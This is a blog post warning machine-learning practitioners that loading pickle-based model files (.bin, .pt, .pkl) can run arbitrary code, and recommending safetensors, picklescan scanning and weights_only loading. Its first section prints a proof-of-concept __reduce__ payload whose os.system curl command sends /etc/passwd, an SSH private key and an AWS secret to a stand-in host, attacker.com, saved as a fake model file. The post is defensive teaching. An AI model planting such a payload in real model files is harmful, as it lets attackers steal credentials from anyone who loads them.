Stop Using Pickle. Seriously.
Dec 30, 2025 • 18 min read
Every time you run torch.load('model.bin') on a file downloaded from Hugging Face, GitHub, or any external source, you are executing arbitrary code. Python's pickle serialization format is fundamentally insecure by design: it stores and executes Python bytecode during deserialization. An attacker who can get you to load a malicious .bin or .pt file has root-level code execution on your machine. This isn't a theoretical vulnerability — it's a documented attack vector that has been used to distribute malware through AI model repositories.
1. How the Exploit Works: The __reduce__ Method
import pickle
import os
# An attacker creates this class — when unpickled, it executes shell commands
class MaliciousPayload:
def __reduce__(self):
# __reduce__ tells pickle HOW to reconstruct this object
# The return value is (callable, args_tuple)
# When unpickled: callable(*args) is executed
return (
os.system,
# This command exfiltrates your environment variables and SSH keys
("curl -X POST https://attacker.com/collect -d @/etc/passwd "
"-d @~/.ssh/id_rsa -d "$AWS_SECRET_ACCESS_KEY"",)
)
# Attacker creates the malicious model file
payload = pickle.dumps(MaliciousPayload())
# To an end user, this looks like a normal 50MB model file:
# The payload is embedded inside a legitimate-looking PyTorch checkpoint
# by mixing the malicious pickle data with real (or fake) tensor weights
with open("pytorch_model.bin", "wb") as f:
f.write(payload)
# =====================================================
# VICTIM SIDE (on your machine):
# =====================================================
import torch
# This is what everyone does after downloading a model:
model_weights = torch.load("pytorch_model.bin")
# ^^^ BOOM. os.system() executes immediately during deserialization.
# The malicious code runs BEFORE you can inspect the file.
# You will see no error — the malicious code just ran silently.
# MORE SOPHISTICATED ATTACK:
# An attacker uploads the malicious file to Hugging Face under
# a convincing model name. The file passes Hugging Face's scan
# (basic AV doesn't detect pickle payloads).
# User runs: model = AutoModel.from_pretrained("hacker/gpt4-leaked-weights")
# Result: SSH keys, API tokens, AWS credentials silently exfiltrated.2. The Solution: Safetensors Format
pip install safetensors
from safetensors.torch import save_file, load_file
import torch
# Safetensors format:
# - Header: JSON metadata (tensor shapes, dtypes, offsets)
# - Data: raw tensor bytes (NOT pickle!)
# - Cannot execute code — it's purely data
# - Memory-mapped: loading a 70GB model doesn't load it all into RAM
# Step 1: Migrate your existing .bin files (load unsafe, save safe)
# IMPORTANT: Do this in a sandboxed environment — the first load is still unsafe!
legacy_weights = torch.load("model.bin", map_location="cpu", weights_only=True)
# NOTE: weights_only=True (PyTorch 1.13+) restricts loading to tensor data only
# This doesn't make pickle safe, but reduces the attack surface for known vectors
save_file(legacy_weights, "model.safetensors")
print("Migration complete — model.safetensors is safe to distribute")
# Step 2: Load safely forever after
safe_weights = load_file("model.safetensors", device="cpu")
# Use with HuggingFace Transformers:
from transformers import AutoModel
# HuggingFace automatically uses safetensors over .bin when both are available
model = AutoModel.from_pretrained(
"meta-llama/Llama-3-8B",
use_safetensors=True, # Explicitly require safetensors (fails if unavailable)
)
# Verify what format you're loading (check in the repo's file list):
# filename ending in .safetensors → SAFE
# filename ending in .bin → UNSAFE (pickle)
# filename ending in .pt → UNSAFE (pickle)
# filename ending in .pkl → UNSAFE (pickle)
# filename ending in .gguf → SAFE (GGUF format, used by llama.cpp)3. Auditing Existing Files with picklescan
pip install picklescan
# Scan model files BEFORE loading them
# picklescan statically analyzes pickle bytecode without executing it
# It detects malicious opcodes (GLOBAL, REDUCE, STACK_GLOBAL) that invoke callables
# Scan a single file
picklescan --path pytorch_model.bin
# Scan an entire repository / directory
picklescan --path ./model_directory/
# Expected output (safe file):
# No dangerous code found in: model.bin
# Expected output (malicious file):
# =============================
# Detected global imports in: pytorch_model.bin
# =============================
# - os.system ← MALICIOUS
# - subprocess.call ← MALICIOUS
# Integrate into CI/CD to audit every model artifact:
# GitHub Actions:
# - name: Scan model files
# run: picklescan --path ./models/ && echo "Scan passed"
# In Python projects:
from picklescan.scanner import scan_file_path
def safe_load_check(filepath: str) -> bool:
"""Returns True if file is safe to load, False if suspicious."""
result = scan_file_path(filepath)
if result.issues_count > 0:
print(f"WARNING: Suspicious content detected in {filepath}:")
for issue in result.infected_files:
print(f" - {issue.operator}: {issue.module}.{issue.name}")
return False
return True
if safe_load_check("downloaded_model.bin"):
weights = torch.load("downloaded_model.bin", weights_only=True)
else:
raise SecurityError("Model file contains potentially malicious code")4. Model Format Landscape
| Format | Safe? | Description | Use With |
|---|---|---|---|
| .safetensors | ✅ Yes | JSON header + raw tensor bytes. No code. | HuggingFace Transformers, diffusers |
| .gguf | ✅ Yes | Unified format for quantized models. No pickle. | llama.cpp, Ollama, LM Studio |
| .bin (PT) | ⚠️ Risky | PyTorch pickle format. Can execute code. | Legacy, avoid or audit with picklescan |
| .pt | ❌ Dangerous | PyTorch native pickle. Common attack vector. | Avoid for downloaded files |
| .pkl | ❌ Dangerous | Raw Python pickle. Maximum risk. | Never load untrusted files |
| .onnx | ✅ Yes | Protocol Buffer format. No pickle. | ONNX Runtime, cross-platform ML |
Frequently Asked Questions
Does weights_only=True in torch.load() make it safe?
Partially. torch.load(..., weights_only=True) (PyTorch 1.13+, on by default in PyTorch 2.6+) restricts the allowlisted Python globals that can be called during deserialization to a safe set (basic tensor operations). This prevents the most obvious shell injection attacks but doesn't prevent all pickle exploits, as sophisticated attackers can craft payloads using only the allowlisted operations. Safetensors is still the correct answer — it has zero attack surface because deserialization never executes Python code at all.
What should I do if I've already loaded a malicious model?
Assume full compromise: rotate all credentials, API keys, and SSH keys that were accessible from that environment. Audit your cloud provider logs for unusual API calls, data exfiltration, or new IAM entities. If the environment had access to production databases or user data, treat it as a data breach and follow your incident response plan. Run the load in a fresh environment next time: Docker container without network access for the load step, then copy only the deserialized tensor data to your actual environment.
Conclusion
Model serialization security is a silent risk that the ML community has been slow to address. The transition to Safetensors is well underway (most major Hugging Face models now offer .safetensors variants), but millions of .bin files in the wild remain potential attack vectors. The defensive playbook: always prefer .safetensors or .gguf over .bin/.pt; audit existing files with picklescan before loading; set weights_only=True as a minimum; and load untrusted files in sandboxed environments without network access. The cost of migration is low; the cost of a credential breach from an infected model file is not.
Continue Reading
Vivek
AI EngineerFull-stack AI engineer with 4+ years building LLM-powered products, autonomous agents, and RAG pipelines. I've shipped AI features to production for startups and worked hands-on with GPT-4o, LangChain, LlamaIndex, and the Vercel AI SDK. I started OpnCrafter to share everything I wish I had when learning — no fluff, just working code and real-world context.